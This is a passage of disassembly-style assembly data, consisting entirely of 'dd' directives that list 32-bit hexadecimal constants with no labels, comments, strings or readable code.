0C6861A7Bh, 60BE0E69h, 91C81869h dd 0F82B0F10h, 84047044h, 9EF6DFE7h, 1E99237h, 409D42AEh dd 21DC7613h, 0B0435E5Dh, 28D38863h, 4CFACB55h, 2BEEF416h dd 0F36027C5h, 0B69F2826h, 4332BD59h, 8693FDFBh, 7BC21313h dd 8946024Eh, 75861A41h, 8D40EFFh, 95E13092h, 0BB60014h dd 65AA2D77h, 0CC672DBFh, 0BB9D225Bh, 0D0C386BAh, 45CB46B2h dd 430A94B6h, 0A784C111h, 310ED945h, 0C84885E6h, 0EC4547B4h dd 0D20CBC8Eh, 0DB4FB3BAh, 0D497B80Eh, 168085DBh, 55CDF538h dd 0AA1313E8h, 72E789B1h, 0A86DD8Ch, 0FCD1ED78h, 29923FDh dd 11DE788Ah, 0C5C5E89h, 781B0CE5h, 0F8048303h, 9470F62Bh dd 0B028D6C9h, 11E6A163h, 766CB981h, 81253D88h, 7FBBCDh dd 58D27AA1h, 3BFBD5B6h, 6E61EAh, 1824E9A3h, 0B43F15FBh dd 9FE0AF88h, 7163F382h, 0B1A65E7Ah, 8CBEE2F2h, 1BC21A5Bh dd 57720E79h, 0E2867568h, 70BE1FAFh, 89C81065h, 0FC2B1396h dd 2047607h, 5FF6DEC6h, 79699227h, 585D42A8h, 0AC3C76E1h dd 30735EA5h, 1E2B889Ch, 0CFE6CBABh, 1E60F4E8h, 9212738h dd 2ABFA8D8h, 15327D4Ah, 0CA8A1DE9h, 8D60301h, 95D40A5Ch dd 7E591653h, 36E590EDh, 9E817180h, 8D15F94h, 88DAA277h dd 111E4A7Fh, 569C26FBh, 4ED304B8h, 0CBD8B998h, 0A31AF5A8h dd 5784D168h, 0B571217Bh, 9848B886h, 2A3ABC84h, 0FE0CBA86h dd 6B7323BEh, 8497B98Bh, 0CCBEC418h, 0E4CDF459h, 0CD320F8h dd 23278889h, 30A6DC80h, 0A321EC84h, 0B08122FDh, 3ED27988h dd 0FDA5E8Ah, 0FE5A0D1Ah, 9DE402FBh, 0F2613728h, 1A20B7CAh dd 16E2B162h, 25EEB07Fh, 2F622070h, 0BC5E38CEh, 8C204A2h dd 33F3F4B7h, 0B46A1094h, 0E426F09Ch, 0BE201098h, 31E1309Ch dd 6163B2FCh, 0DFA67F8Ch, 0C8BE138Ch, 0C9C2031Ch, 0ED720B5Ch dd 0E86771Fh, 1ABE115Dh, 29C81065h, 3C2B1210h, 4E0477C2h dd 0E0F6DFA2h, 38E99313h, 321D435Ah, 0F21C771Eh, 9A635F5Fh dd 2A238964h, 84E2CA51h, 8CE2F513h, 6AE626C3h, 5EDE2922h dd 24C23CB1h, 0A923D16h, 0C7DA72FEh, 0D45213A3h, 241813ADh dd 4D051313h, 0C490B77Eh, 3AD93F6Ah, 70DEB309h, 0CF1C4341h dd 6A9B3B65h, 2ED28376h, 0A1D8F96Eh, 931AD452h, 4F84A014h dd 0C97138C6h, 4248BCA6h, 363D4296h, 0B20CBB9Ch, 58732282h dd 0B817B805h, 3D3EC559h, 0C64DF579h, 0E8D32188h, 81E78981h dd 96C6DD84h, 8EB1ED86h, 20923FFh, 4356788Bh, 0ACD85F89h dd 0B1150C19h, 864583F8h, 9CD1762Bh, 915896C9h, 897D4061h dd 0B3E0A97Ch, 86232573h, 39BEB7CDh, 0CBB2C4A1h, 0F36A15B4h dd 41E60117h, 77A0F9DFh, 0B4A11DBBh, 83E1B3E8h, 4D6271B2h dd 2FA611ACh, 5ABE0218h, 0F1C20BC3h, 0C37217A6h, 66867116h dd 48BE1141h, 91C811E3h, 602B1324h, 8204765Fh, 6DF6DE6Bh dd 206992E0h, 0C5DD42A4h, 337C76E7h, 0DC935EA7h, 0D8FB889Eh dd 0F7CECBABh, 0BB54F4E9h, 5A9F2739h, 92C2A8D8h, 44D3FD4Bh dd 0A59B5DE9h, 545EE301h, 4610DA5Ch, 88FB0E53h, 0E31284EDh dd 2898FF80h, 0A6DD1294h, 0FADC8077h, 431339FFh, 0E29ABDBBh dd 9CD2C2E7h, 3FD8D9B7h, 7F1524AFh, 0EF84B81Bh, 0E5713CDEh dd 6C48B2BBh, 3C3D438Ah, 0A40CBB81h, 5373233Dh, 5A97B94Ah dd 3CBEC479h, 0EACDF40Ah, 0D9D320C3h, 0DFA788A6h, 0C766DC95h dd 6881EC9Ch, 3CF12280h, 27CA7986h, 0A5565E8Ah, 6A9C0D1Ah dd 43C102FBh, 2E53B728h, 53DB77CAh, 537ED162h, 62A0E07Fh dd 7DC30870h, 0AAE84CEh, 0D6EAFEA5h, 0CBC613B0h, 66500193h dd 5C59F81Bh, 0E63D9C5Fh, 49E072FCh, 0C56311ACh, 73A680B4h dd 24BECA00h, 27C217DAh, 0CD7201BFh, 0A686780Eh, 0D8BE1C45h dd 0E3C81299h, 0CA2B119Fh, 2E047084h, 0E4F6DE00h, 0A9E993C3h dd 779D43A3h, 0A15C7712h, 20835F45h, 96F38959h, 55CACB5Ah dd 0EB56F511h, 0C29C26C5h, 0ECC12927h, 0ED3BCB5h, 0F69B7C17h dd 6ADED2FFh, 0BCD0E3A2h, 55DB0BADh, 0D8A28713h, 48E0FD7Eh dd 0CCC1106Ah, 0CAD28209h dd 5B1A3BC1h, 1E9E3FA5h, 86D00116h, 3DB3A3Dh, 431AB369h dd 0D484F0F9h, 45F11131h, 0DFC8812Ch, 79BAB9D1h, 118CBDBFh dd 69F32392h, 2817B89Dh, 373EC582h, 0ED4DF51Bh, 6ED321D9h dd 0D06789B9h, 0FA86DD88h, 9811ED80h, 8DF923FCh, 960E788Ah dd 0DB45F89h, 0F50F0C19h, 0E7CA83F8h, 0A917F62Bh, 937956C9h dd 904DE061h, 975B597Ch, 0EE5F4D73h, 20A3CDh, 64E3CEA1h dd 0E7C2ABB6h, 9652C417h, 0CE5A1E5Dh, 5E3E0D79h, 27E03ACAh dd 4D633D23h, 0E9A6B3F4h, 0F8DBB726h, 70A178BBh, 2D076E70h dd 268679BAh, 59D054A3h, 5A97AF8h, 0EF4E6AEBh, 137018EFh dd 989ABE78h, 161DF1BCh, 0D55D2CD6h, 8BD23308h, 0E7F02C25h dd 0FD22FC35h, 0E065A73Bh, 68E18072h, 0C1AD27ABh, 801CE426h dd 62EC18C2h, 0BBACE97Fh, 419CAF9Fh, 0B9B11EC0h, 29DFC6C2h dd 20C52F12h, 0A287992Ch, 18A6F70Ah, 1AD2CFEDh, 0C77F5380h dd 87FD60C8h, 0E1B96C6Bh, 19DB3FA2h, 377FF767h, 0D2E09CB2h dd 0D837775Ch, 0E906E7C0h, 8C7BDF7Ch, 4E0CBE5Ch, 2F12430Dh dd 4FFBD754h, 30BEBA25h, 8DBFB7E5h, 0AAB65557h, 5342E547h dd 0B256ADB2h, 0A7A08AD0h, 52612393h, 28CE0CD8h, 57772BF1h dd 0F2FC6369h, 27CA03F9h, 0B582464Ah, 1CD641ACh, 0F2B19927h dd 0A853517Ch, 0F5FA1C1Dh, 69A7C89Bh, 0A8B6AFEEh, 0E7494ED8h dd 34E6CB97h, 741179F1h, 0C4AC717Eh, 4095EAA8h, 4D6F7859h dd 86CCD6F8h, 0EDF7A453h, 0FEAECD82h, 0C073C5B2h, 67F672E1h dd 34ED69F1h, 6A672CEh, 0B02B0C4Bh, 1D6820D9h, 0CCF6A05Ch dd 8A87DAE8h, 0FA713054h, 0FBF91DAFh, 0EDC02667h, 6324E62Ch dd 8232CB22h, 15EB912Fh, 0A4C76A86h, 79B95050h, 9B6F3DCDh dd 0B34BD86Ah, 0AD9A478Dh, 5E6072E2h, 305181ACh, 0E61B1E73h dd 90B18D0Ch, 4D3B6B18h, 4DAE0F08h, 0D3888025h, 95CA6B97h dd 8C2ADF45h, 5A1FF3CFh, 375D3206h, 0CB9AA498h, 3168DB56h dd 3C21892Dh, 0DC51F105h, 9A79AE2Ch, 4B73B832h, 68FD38EDh dd 42D3BD1Eh, 82A18AA1h, 83E4979h, 5E6675EFh, 44A99C13h dd 0DB98ACA4h, 2D6963C6h, 39E32B35h, 4E5C3600h, 81FD783Ch dd 9E3EE183h, 1F550577h, 0DB916C5h, 0A1D9E906h, 1C183B10h dd 3CFB121Ch, 59AEBD82h, 0B6F1BCC2h, 9ABAC7B4h, 34A52765h dd 1A981EB1h, 0C7AE403Bh, 561EE8DAh, 4D2B0579h, 8CF0D4FCh dd 0C9D5B243h, 6FA54D9Bh, 0C3778573h, 92E16C4Eh, 3ED48AA6h dd 19C983D8h, 0C04E0F32h, 3683493h, 0BF85557Eh, 0A1CE982h dd 549C35D5h, 0F6FC748Ch, 8736556Ch, 6538E651h, 0A57BAF8Fh dd 0DED9CDAh, 0B3F242F6h, 0F878A858h, 0E04BBAC9h, 7368B25Bh dd 98B4D99h, 0E70D14C9h, 3527DEADh, 0EA1D1F7Bh, 94998612h dd 259AFD19h, 6D0C26C4h, 0F2DDA661h, 8B1383A5h, 0DE45E327h dd 2D3FB299h, 2F4A722Dh, 0A7FAED9Fh, 0D6094932h, 69207CEEh dd 0A97491E5h, 0A3721A65h, 173F043h, 7DCB0480h, 58DFB83Ah dd 9E88FF94h, 0EDD32C75h, 0F9C3212Fh, 6789B210h, 3EA4A198h dd 77112232h, 1D51F08h, 4C75311Fh, 0BDF04936h, 39CB03E3h dd 3A10D173h, 502A93ABh, 36C4F52Dh, 6443417Fh, 54E7101Ch dd 50AFB1ACh, 0CC9398C4h, 9E215EC1h, 387041EEh, 6BD10D7Ch dd 0B31F33AFh, 758B93B8h, 2864346Dh, 80FE9CA3h, 960DBE58h dd 0F2A5CB99h, 711631C1h, 0AAE6BE4Bh, 2FB16CC3h, 42A72EACh dd 0D64BE979h, 166128B0h, 0CEF12A7Ch, 9C99CBEAh, 66F8145Eh dd 3ABF1D3Ah, 0E54321A3h, 193FCA2Dh, 0BC69AE81h, 1EE782D7h dd 0B8D16F8Ah, 78924457h, 4EEBDCEh, 4717986Eh, 36D76ABh dd 0FD14E1C9h, 85FBBD9h, 8A7A6E61h, 9EA4A37Eh, 111E6005h dd 7659FC6Dh, 0DEC7D1A3h, 9F06994Ah, 8C08A016h, 7F1FA8DFh dd 10493D75h, 0CE8F9E94h, 5E2CFE56h, 0AF2C2840h, 0EC3F95E2h dd 0B37E3C3Ch, 3E20BC21h, 77F1118Fh, 36BEAD57h, 80BFDAE3h dd 1365B54h, 0B79006CAh, 74C7BAF0h, 13D1EA1Dh, 497C4EA7h dd 7FB2B00h, 4A5F3608h, 0AF8B0C71h, 9E1DE489h, 0C9ED8474h dd 700BBAA5h, 47CCD823h, 737F787Fh, 2C62D33h, 44ACF5FFh dd 0DFF7CACDh, 9DC8ACB4h, 5C55C517h, 0EDF9F5Fh, 0B07D4CFBh dd 34839B88h, 41334C00h, 0E08EEBC4h, 0F74AC42Eh, 19D42FEBh dd 4E790431h, 0A785FFCFh, 7FB15C23h, 19C973CCh, 0AF2AA022h dd 680449EDh, 0FBF12B33h, 7F6984EDh, 0ED5D47B3h, 753C740Dh dd 0C17321C2h, 6EAB891Dh, 0BA26CBFAh, 2880F4A1h, 9EF268BEh dd 9B599A01h, 15AE11A2h, 2A215A1Bh, 0A4973B1h, 0C418FDD2h dd 1B4E82C9h, 0E578157Eh, 8EA3890Eh, 6C9DF70Ah, 1F83A2ECh dd 0F8649480h, 8A3ABB6Ah, 0C3453D29h, 5F658A97h, 0A325817h dd 0D59D9B99h, 0FE1B615Ah, 0DD2BEADEh, 0C7E5862h, 8B0A7FDCh dd 0D116B44Dh, 53EC0E9Bh, 0ADCD8D5Ah, 80A3F9A6h, 0D2D34A5Eh dd 6B483D2Ch, 31C8ADB7h, 744B849h, 596864B6h, 2E927878h dd 6373113Bh, 9AA45836h, 54CC6F81h, 0B6A76111h, 9A5DD3B0h dd 3BF2C309h, 1D33701Ah, 46E73572h, 70BEBC9Eh, 0C881B9C0h dd 0AA4F2DB4h, 38F4E0E5h, 6997EBFAh, 0B3691DFEh, 749BE398h dd 204A3B1Dh, 9BE0B9ADh, 0F32FA44Dh, 0DED4AFE8h, 0D702ADC8h dd 0E7E0EDE7h, 80B14C67h, 73A02DFCh, 2C4A295Eh, 56139AFh dd 0E2F12C31h, 96BCE998h, 0F0732E44h, 561C74CDh, 861340C7h dd 13C2EC7Fh, 0D122CBA7h, 18E7BCADh, 0A7D3639Bh, 6995A45h dd 9D6E3DCFh, 3ED45C7Eh, 76501F94h, 0F78192A0h, 3743B3C8h dd 0E21A3377h, 0F9CE8511h, 22114E6Bh, 7ADD4878h, 0B1457425h dd 992A9764h, 0F6500307h, 1E0FE38Ah, 22550E13h, 0CB96B885h dd 450FE05Eh, 4845CF4Ah, 405A5050h, 0F168FB99h, 0C207B141h dd 5FF40EAEh, 0A3CA835Fh, 0E3CD8987h, 36216D33h, 190300CDh dd 0F523B37Bh, 2231EA5Dh, 0A148518Eh, 7DF51779h, 94385F76h dd 8AC67813h, 0BA28F19Ch, 6C7D2264h, 9C5AF7A1h, 0A66C4003h dd 66477D7Fh, 2CE21734h, 70CCD7CDh, 0D7B2A7CDh, 84AEFBC0h dd 4CD42062h, 73679ADFh, 0DC6F3CCFh, 55E08E8Bh, 183B5430h dd 87EB8782h, 9729B65Eh, 7EB65694h, 0AC1FF04Ch, 0AECF927h dd 10C35917h, 3EC963ECh, 0DD782C37h, 13612196h, 0AC9C4463h dd 152FF6AEh, 3C8922DEh, 3F7C11E0h, 41F66682h, 1C1AFD2Eh dd 647EBEBEh, 3A1B92C7h, 0ECAF27E9h, 973CDC55h, 0EC7B98A3h dd 9F85386Bh, 714AA4F8h, 35FA2FE3h, 3143A0C9h, 0D5170B60h dd 0F8C99C0Dh, 3380DE6Bh, 7F0C25E4h, 0D06D3E74h, 82D3CA2Ah dd 0DF2148E7h, 7F4B9352h, 265A2001h, 0C98386B8h, 0B16E053Ah dd 7C2148E3h, 25491AF3h, 4F63F0FDh, 2007BE5Fh, 46F101BDh dd 3CBE955Fh, 0FBFA0E8h, 0D9BD6B55h, 13C90644h, 0FF08BA3Fh dd 16F39E2Eh, 8002459Ch, 298A780Dh, 0A5422D23h, 944D6019h dd 546A6C83h, 877B610h, 0C05D04ADh, 0C334BC06h, 0D56131Ah dd 1A854972h, 47BBCCBFh, 0D69626E7h, 0BB4FEAB4h, 384710F2h dd 745EA77Bh, 0B349F83Fh, 756BEFF8h, 2264264Dh, 85EB9D9Eh dd 81399941h, 0F5B4E602h, 71132817h, 15845F6Eh, 49F75836h dd 1E990E88h, 0CD5F3A3Fh, 7C045795h, 2B947C36h, 5380CC8Bh dd 359D4657h, 5B39274Dh, 62E74F27h, 61ACF0Bh, 2B0ACBB7h dd 7A76F4D5h, 0AB2C27A7h, 7EB92817h, 4ACFBDDCh, 0BF957D22h dd 3557D3F4h, 4F9462A6h, 0ED39CAADh, 0F2756612h, 1BC96C7Eh dd 5C75596Bh, 6628AF08h dd 0B50544C0h, 0F9AFA7A4h, 8D294417h, 1E8799BFh, 42F4452Bh dd 0A7D5E9D9h, 319985A1h, 0C85C4F94h, 6C3354BDh, 120BAF8Dh dd 0FB72A83Bh, 6498F7C9h, 0DEBF2438h, 79CD85E9h, 94533930h dd 0DE67DBDh, 8806C392h, 3DA1D5ADh, 92C960B2h, 0D7E1E35h dd 0AD2428FEh, 6A4F808Ah, 4A221BB8h, 4D4B3533h, 0B91F8F8Dh dd 0D255A81Ah, 631E8368h, 0BFB3E150h, 71FE49C5h, 4FCB9B9Ch dd 0F5FE0783h, 0E5660326h, 586DD46Dh, 0ED649h, 575189FAh dd 2491D592h, 3FF47906h, 6C5C0074h, 27E91E4Dh, 0C6A378h dd 0AC7C4C59h, 64AFC669h, 6100FAD9h, 6C32D069h, 0C60811C7h dd 10F70F36h, 615AB7DDh, 0AC6FAB80h, 9D8F3E3Fh, 0DB819D70h dd 4EF89A6Fh, 5F4597E9h, 0DA9B7B62h, 130E8E56h, 1A827845h dd 0F7F88EDFh, 0FDA39499h, 6A6C8304h, 23A1B6F0h, 0F50D148Ah dd 8E41E55Fh, 0C5FC4446h, 6AC04759h, 6BDDC1BEh, 0F6D0D0B4h dd 6FAA77B1h, 0A4665831h, 2E239370h, 5182F49Fh, 0E20DFFA0h dd 0D9B328B9h, 0C1EE43BEh, 4E4F21BEh, 141249BDh, 0FA418205h dd 4FAD1CF4h, 0A3867D04h, 0F9F2F4D4h, 7CE9490Dh, 0D019FC10h dd 1D18E4ECh, 0FDDF1683h, 0C0DEF8ACh, 50C2610Dh, 0B1D25B43h dd 126F78CCh, 0BD02398h, 37529141h, 9D105A47h, 256ADFCh dd 561A0E1Fh, 0CCB7465Dh, 0CFB96C5h, 0B2CF859Ah, 5F7A3A87h dd 0D5A1F2A1h, 0B54A00ABh, 7AFA962Eh, 144DEEEEh, 8B1979AEh dd 0A536AD8Eh, 0D33995B6h, 0E71CC42Ah, 1391436Ch, 9B1A892Ch dd 0F3B3A96Fh, 220126D7h, 21008462h, 7F3F32D0h, 0E7C28D00h dd 0DED063D9h, 0AD2AC105h, 6DAA0FFAh, 399B7414h, 19FA4C75h dd 71CA959Ah, 0F0D26CA5h, 2DAB83Bh, 0B098F77Dh, 2DFBE95Dh dd 0D4AB4AD6h, 9C63062Bh, 0BBABA2CDh, 1101778Eh, 0CE4CB556h dd 0B6F15449h, 8A4F2655h, 0F8928E31h, 68FF127Bh, 0B3B5C0DEh dd 0AAE3E50Dh, 8657275h, 92636118h, 0C218A165h, 963B17D8h dd 8C2B6B8Eh, 45AD4AB6h, 0F31D34B9h, 84387100h, 3CB16AF7h dd 39891E05h, 16F2C8D5h, 4468F70Ch, 4C5B9891h, 4BFDA42Eh dd 0EACD34E1h, 82D45F9Eh, 167B0A88h, 7CADAA3Bh, 2884CFE3h dd 0D6CE6DE7h, 99561984h, 0AC19B62Fh, 0A05F89C3h, 871EAF1Dh dd 0B6BCCB53h, 80F1AFCDh, 19C5F090h, 76CE038Ch, 81D40854h dd 0A89FF5DFh, 45EC820Bh, 1BC3B698h, 39DB3AA0h, 3E52620Ch dd 96B1D8F2h, 6A421C0Ch, 517A031Bh, 5E0B9363h, 9DBD3C4Ch dd 4702DBC2h, 7906751Ch, 0E73CA9D8h, 0BBC7C302h, 27556EDDh dd 0D0EFF480h, 0E6CF13BFh, 39619330h, 41E9750Eh, 7D4DEB59h dd 101F8BCAh, 26B0A202h, 5D632BFFh, 2A294C12h, 0F38C06FFh dd 411FDE51h, 66BFD2C9h, 0E800CA87h, 440AC59h, 42FDA945h dd 54C13A58h, 855BC1BFh, 3B91BE35h, 0A4A82F1h, 7B40D13h dd 5A869462h, 3E7BC7EAh, 9F6069h, 79F1C8D7h, 25472F00h dd 8CAFB67Bh, 9B093DD4h, 3ED11Ah, 0A2BDD2C5h, 4D839E03h dd 83F9E6D8h, 24E2DC04h, 2B90171Bh, 0D1D61265h, 0F7F6A3CAh dd 5CA6C605h, 0D46DCBDAh, 64A9960Dh, 328FCBE7h, 8B44D264h dd 0A91F5CC9h, 383CF204h, 13A8D2D4h, 711AC02h, 0F6BF4268h dd 0FF544CAh, 36CC4E97h, 7375B88Ah, 1F2E0FAEh, 2085B824h dd 0D257C8E1h, 93313B82h, 0BCCD8AB2h, 0BF57E43Bh, 0F122A1F7h dd 36842C01h, 0B756F492h, 273004A8h, 5F484926h, 0FB108FFFh dd 0EC056619h, 6F3336D2h, 3CC9C70Eh, 0DEDB20D0h, 0A5A1490Eh dd 7FE08870h, 477E10DFh, 0F9EFFE10h, 147174Fh, 771319D8h dd 8BBE6631h, 0D8F14E7Dh, 0EC6410D8h, 0E7613111h, 8002E34Ch dd 3BC0CDBh, 0FD0FA8F0h, 3949831Ch, 3BF18C69h, 0B34B5240h dd 0EC10AF4Dh, 9CBAD2B2h, 0FF50653Dh, 35B68178h, 90880A58h dd 5A4C59E8h, 0F729EF07h, 868784E5h, 0C6617186h, 8DB9A73Ch dd 6907E9F2h, 0E7BCFF6Ch, 8779EDCAh, 6AA77A01h, 908841DCh dd 13FC1803h, 2F187E9Eh, 1B947BA1h, 3A13EC2Eh, 1DB26CF1h dd 0D066C1D2h, 0F2AD9809h, 0A82F1E9h, 0E1CD22E4h, 0F8D05600h dd 6F5DC4E9h, 0E7B937A5h, 1F08150Bh, 24B262EDh, 0ABF3A504h dd 27CD16F0h, 0FDF50599h, 776F9897h, 0A1E59DA8h, 3C473DA7h dd 9039AFA1h, 17C917C3h, 52549632h, 68A04DF2h, 0EC6B902h dd 2737AE12h, 48213BE9h, 60468007h, 7A921FE9h, 1540EA07h dd 0F317B2E9h, 92C19807h, 0D1D4E7D6h, 4B23CC88h, 0CE244E36h dd 62756F9h, 96180D26h, 0D8596341h, 5B1EDADDh, 0EFBAF631h dd 0AD726DFEh, 75A6629Ah, 31425933h, 1E30097Eh, 0AB4792D1h dd 14103477h, 0AF4464DDh, 12F3000Bh, 92C84C73h, 0E7D31446h dd 3F586435h, 2962CA7Dh, 778C4959h, 8D76F24Bh, 4B6F71F2h dd 7795DA16h, 0F77A59D4h, 668CC00Ah, 2F846EF1h, 52728A1Fh dd 2B2E4771h, 71391ADCh, 0FC48CD73h, 1F9768DDh, 0A4FBD40Bh dd 0CE926C11h, 405A68ECh, 1838E702h, 0BC8F14EDh, 0DC1642A2h dd 97B9D70Dh, 1E8BA2ECh, 944AFF62h, 0DFA98F46h, 0F9444A90h dd 608F568Ch, 0D309E43Ah, 0AFBFFA68h, 0D3F8F34Fh, 0EBC778D8h dd 787839E0h, 0B1A4CC95h, 0A6CEB227h, 543C1D6Eh, 2E29B14Bh dd 21CDFCDBh, 0B5BDE23h, 0FE2836C7h, 0D7089E02h, 6A1EA29Bh dd 44DFE624h, 305164E9h, 17116096h, 0C285370Dh, 0A27579EEh dd 6B330607h, 70CFCBD3h, 1DADD809h, 0C63CEF6h, 8C07C998h dd 0F3090937h, 4151CD78h, 0D51C00D7h, 63BE6531h, 0A4F7EB7Bh dd 3CEF475Dh, 0BE255B55h, 0C3278D69h, 0D648C0AEh, 0B21766BCh dd 4746CABBh, 77F0E138h, 0E947607Ah, 5D93E542h, 0B278C8B7h dd 37736DBCh, 3A8401B9h, 5F73533Ah, 0F46C86FBh, 491AEB13h dd 873B89D6h, 80ACE58Dh, 0B59422B2h, 0F5FBCD3Eh, 85692741h dd 0D0D8A3D7h, 0A45C3F74h, 689D9ADCh, 0BDFCBD09h, 0C010ED91h dd 61144F2Dh, 0DE58B163h, 999EB0DCh, 0AF1F26ABh, 0CBE8A08h dd 0AD8936EAh, 85C94AE1h, 8E518687h, 79BACAFh, 53809C82h dd 957E69BDh, 0D193D16Ch, 44C6715Ah, 0D9C6CDABh, 2CF842A9h dd 0F7E56BB1h, 2128A4B4h, 6A2DB836h, 236376h, 0A7CA6DD6h dd 295BFD29h, 0A0AEE6C1h, 0D14F6A06h, 0D8F8111Ch, 1ECF1464h dd 8ED97FC9h, 20D59886h, 88EA0938h, 70F72BEFh, 3AE6420Dh dd 0AAEFF8DEh, 4517F485h, 0FC963BBAh, 971743B4h, 6034DB4Bh dd 0A4A4447Ch, 0E60CB3DFh, 7EBC8E3Fh, 437A8EF6h, 4023FF11h dd 7E086979h, 0E9DB5414h, 3E5DC06Bh, 97106CD5h, 5D4B9A82h dd 0A7FABDBAh, 75CC2AB5h, 4256C0ABh, 5D1C41A3h, 3A86B1A0h dd 9D9A89A0h, 0B079CB42h, 0D76C0DF2h, 0EB9C8D12h, 23FC93D2h dd 3BCAA10Ah, 0B0627175h, 0C4A2A85Fh, 59841E50h, 0C7CFBDAEh dd 0D2D51338h, 4ED93EFAh, 0D5DF3E1Ah, 871E0C69h, 3E1C5120h dd 75627FDBh, 0A8A218E2h, 141211A5h, 82B21706h, 888651E6h dd 5E464D6Eh, 0BF1EA3C8h, 3B48880h, 4B9F941Dh, 0C4F8BFEAh dd 6D668A11h, 80D50A65h, 83B03723h, 0CDE0616Ch, 0F7EB4752h dd 62C3047h, 7E2EA23Ch, 0F321F470h, 0E7CB89D5h, 6C59B724h dd 0EC2F5BC4h, 0AE8ED504h, 0ABDEAC9Ah, 8F7F8AA4h, 6A20B7A8h dd 61C853B7h, 0CEE555B1h, 766F5E2Ah, 0D7A9A56Ch, 898BE4CFh dd 39048CBEh, 679F26B7h, 901EC6B3h, 0CD38C446h, 59A97373h dd 2901E6D1h, 0D5B21331h, 3FF46078h, 6E6DDFDFh, 66E66397h dd 15C4B40Ah, 0EADA157Ch, 0ED5A53C6h, 88675BB2h, 0A5FB4B3Bh dd 0C6C8DEFFh, 0A9513A85h dd 6F1A6797h, 0D8A01C01h, 1FA1339Dh, 0AE706548h, 6862ACFDh dd 0DD13AD1Dh, 6B0BADEh, 0E0E76786h, 4A7EE138h, 73A14D74h dd 7C846D2Bh, 0B8C9A362h, 505281D9h, 0E51E138Ch, 6D39BA17h dd 0D328216Bh, 0F9226024h, 4B240661h, 0DB8661DBh, 0EE19A1AEh dd 0FFB86A0Ch, 0C48DEAEDh, 0A9CD92E5h, 0B2D5AC03h, 0CFD8376Bh dd 0F6309E1h, 49AD5BEEh, 1A06D618h, 75CF556Bh, 11B537A0h dd 0C5EB2D27h, 92E6B57Eh, 4123615Bh, 0D624CD49h, 971340EEh dd 87F89BE4h, 0B95A9926h, 60AF85C4h, 48CE5A04h, 0EBBEA81Bh dd 3F6EA0E4h, 5C2A4C8Ah, 0EBCE2225h, 4AE45AEAh, 43E3DD19h dd 7C67646Fh, 6AA76DCAh, 817F2EB1h, 8D8DD7BFh, 9D177EB8h dd 403B4F43h, 8EADC276h, 5E04C1D4h, 0DFBBB337h, 60720EFEh dd 5EABA899h, 0D8C1A9B1h, 273023Dh, 831B35FDh, 907F67FBh dd 5160EFB9h, 0A50B8AB3h, 6ADD5535h, 8E5C3FEBh, 1A1E5882h dd 0D2990090h, 4C985BA8h, 0CC787C45h, 66C09F0h, 69D0913h dd 9B7D28D3h, 0ED0B9F0Bh, 0DF4556F3h, 71930E9Eh, 47DAF31h dd 5EEF3382h, 3DEA86FDh, 8657BFFBh, 0E8127713h, 3A33D867h dd 0FE27FB2Ch, 51A4F8Bh, 5FBE10E1h, 2D1C0BA4h, 0F7B30606h dd 89B6B636h, 0ED76F05Fh, 529DED4Ch, 8BF07744h, 0D97B1AF9h dd 0EDADEA9Eh, 8A0BD01Ch, 0CCC4F764h, 0F2BF6A28h, 28E212EEh dd 98EC5214h, 0E429B060h, 5E2F234Ah, 4B27CC7Eh, 1BCC23D6h dd 0D45E0421h, 62867C2h, 0B109F203h, 0B59E649Bh, 0D21F5924h dd 4530D768h, 56C016D7h, 0DE164E1h, 0C26CB113h, 0F3297163h dd 0CB4E49CBh, 3F66B7BFh, 0FC8D8EB4h, 161BD8B0h, 0ED31934Bh dd 29A21A7Eh, 1D0DFADCh, 0EAB0B03Ch, 0AEF90F75h, 0EEE03E52h dd 0F5ABFCDAh, 72692127h, 0BF265F40h, 214E1AC2h, 98675CBAh dd 0D80D5935h, 23D8B971h, 125119CAh, 0A7129BFEh, 0FC951094h dd 1B9477A0h, 3377E44Bh, 0C063A1FEh, 8C13D51Ch, 0FA33D9DDh dd 1725D785h, 815C92BAh, 6D937CB7h, 0C271A509h, 47D8CF7Fh dd 695382CFh, 0A1905AFFh, 0E0764216h, 0ABC73C63h, 0B63C4D28h dd 35207B6Dh, 7F8E20D7h, 611B31A2h, 0B9B5D100h, 0B8813BE0h dd 85C0C4E8h, 0E65F2D8Eh, 0D31D2B28h, 0A5466EC4h, 8198889Bh dd 167AB515h, 60D7536Bh, 0CEB3CEA6h, 44EF36A2h, 24E13639h dd 0F824B47Dh, 0AA22D75Fh, 5B2A204Fh, 85C1CBD6h, 0C753AE2Dh dd 0FBA5C2CFh, 7D44560Eh, 0E0761816h, 8E07156Ch, 5308B40h dd 14CC5ACFh, 0C8EB5891h, 0CADEB516h, 83DDFDA0h, 975B1DFFh dd 935343BAh, 7C700AB1h, 6603A0B5h, 0B53BF74Fh, 0DA7647Ah dd 0C309ABD8h, 1BB4A038h, 5E7C1FF1h, 6924DE16h, 758F74FEh dd 0F21DAD53h, 3F3ADD4Ch, 894541C2h, 5866FBBFh, 680140B6h dd 0DBD54DBCh, 0F2522526h, 0B71EFBE2h, 4990080h, 1F987FD0h dd 5D7A6809h, 896FB3D5h, 9CA61E3Ah, 3C60CD1h, 0C7700B3Ch dd 60997649h, 11BE90E3h, 7848512Ch, 0A4EB3372h, 7EE486F5h dd 0C9E6D6CFh, 7C619623h, 55E14054h, 0BF02791Eh, 75925F5Bh dd 4E7A08E1h, 3D0E0B94h, 0F3741436h, 0EFAF37D6h, 0DC7AB05Eh dd 1A2FF1F8h, 0D7055330h, 0A96FE2EDh, 95A85ABAh, 0A47CE10h dd 44EC645Ch, 6285EF1Eh, 30D79A5Bh, 78D84CE0h, 0AC1DDB34h dd 0FE1C6E6Eh, 0B1368F2h, 0DFF8972Dh, 226ACC73h, 571CD5E5h dd 29BD274Eh, 746AB8E3h, 2A0BBDB6h, 3EF43B0Fh, 6AECE2FAh dd 2FD998A9h, 3D5FB528h, 6B9D7D50h, 0AF3BDDFCh, 7D726B8Bh dd 0B48CA81h, 3FB6E484h, 0E148AF7Eh, 6FB53A4Bh, 5837BCE9h dd 0A40D4309h, 0F6099A40h, 897742E7h, 9DA9682Fh, 225C572h dd 0C70F6F65h, 0A175448Fh, 1057A783h, 483E4C06h, 3BEDE9C7h dd 726B673Eh, 2F2768EBh, 0BCA0D5B1h, 0ABA1CF6Dh, 8F43A2F2h dd 0A56668Dh, 0C3261E0Ah, 63860C59h, 0D7500B78h, 7889766Bh dd 95B690D0h, 0BE4C5125h, 85E93376h, 0E6786F7h, 412156CEh dd 0F281D623h, 0F8CC050Bh, 94E21438h, 0CBA7DB29h, 0E51A5694h dd 10F883DFh, 0BAF2392Bh, 0CA679BB6h, 